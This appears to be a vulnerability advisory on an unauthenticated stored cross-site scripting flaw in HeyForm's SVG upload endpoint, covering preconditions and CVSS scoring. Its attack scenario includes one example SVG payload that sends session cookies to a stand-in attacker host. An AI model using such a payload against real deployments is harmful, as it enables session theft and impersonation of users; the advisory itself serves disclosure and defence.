HeyForm EUVD-2026-45983

The /api/upload endpoint must be network-reachable and requires no authentication - this is the default configuration of HeyForm prior to version 3.0.0-rc.7, with no non-default setting needed to trigger the vulnerability. The upload succeeds as long as the SVG MIME type (image/svg+xml) was accepted, which it was by default due to its inclusion in commonFileMimeTypes. For the XSS payload to execute, a legitimate user or administrator must be directed to open the stored SVG URL in a browser - passive user interaction (CVSS 4.0 UI:P) is the sole limiting factor on the attack side. The HeyForm application domain must be one where victim users hold sessions or sensitive data for the XSS to yield meaningful impact. Exploitation is not limited to a specific platform or operating system on the server side, but the XSS fires in the victim's browser context.

The CVSS 4.0 score of 6.4 (Medium) with vector AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N accurately reflects the stored XSS mechanics: zero authentication is required to upload the malicious payload, attack complexity is negligible, but passive victim interaction (UI:P) is required for the XSS to trigger, suppressing the overall score. The subsequent-system impact ratings of SC:H/SI:H are justified - an attacker who achieves script execution in the HeyForm domain context can exfiltrate session tokens, impersonate users, modify form data, or pivot to credential phishing. No EPSS score was provided, and the vulnerability is not listed in CISA KEV, so exploitation probability cannot be quantified from available data. The affected version range (< 3.0.0-rc.7) places this in a release-candidate series, which may reduce production exposure compared to a stable release - however, deployment scale is unconfirmed. The low barrier to upload (unauthenticated, low complexity) means exploitation is conceptually trivial once an attacker identifies an exposed instance; the primary limiting factor is victim interaction, not technical sophistication.

An unauthenticated attacker crafts an SVG file embedding a JavaScript payload - for example, <svg xmlns='http://www.w3.org/2000/svg'><script>fetch('https://attacker.com/?c='+document.cookie)</script></svg> - and submits it via a standard multipart POST to /api/upload, receiving back the stored file's URL. The attacker then distributes this URL (via phishing email, embedded link in a shared form, or social engineering) to a HeyForm user; when the victim's browser opens the URL, it executes the script in the HeyForm origin, exfiltrating session cookies or performing authenticated actions on the victim's behalf. No public proof-of-concept code was identified at time of analysis, though the technique requires only basic knowledge of SVG and HTTP file upload.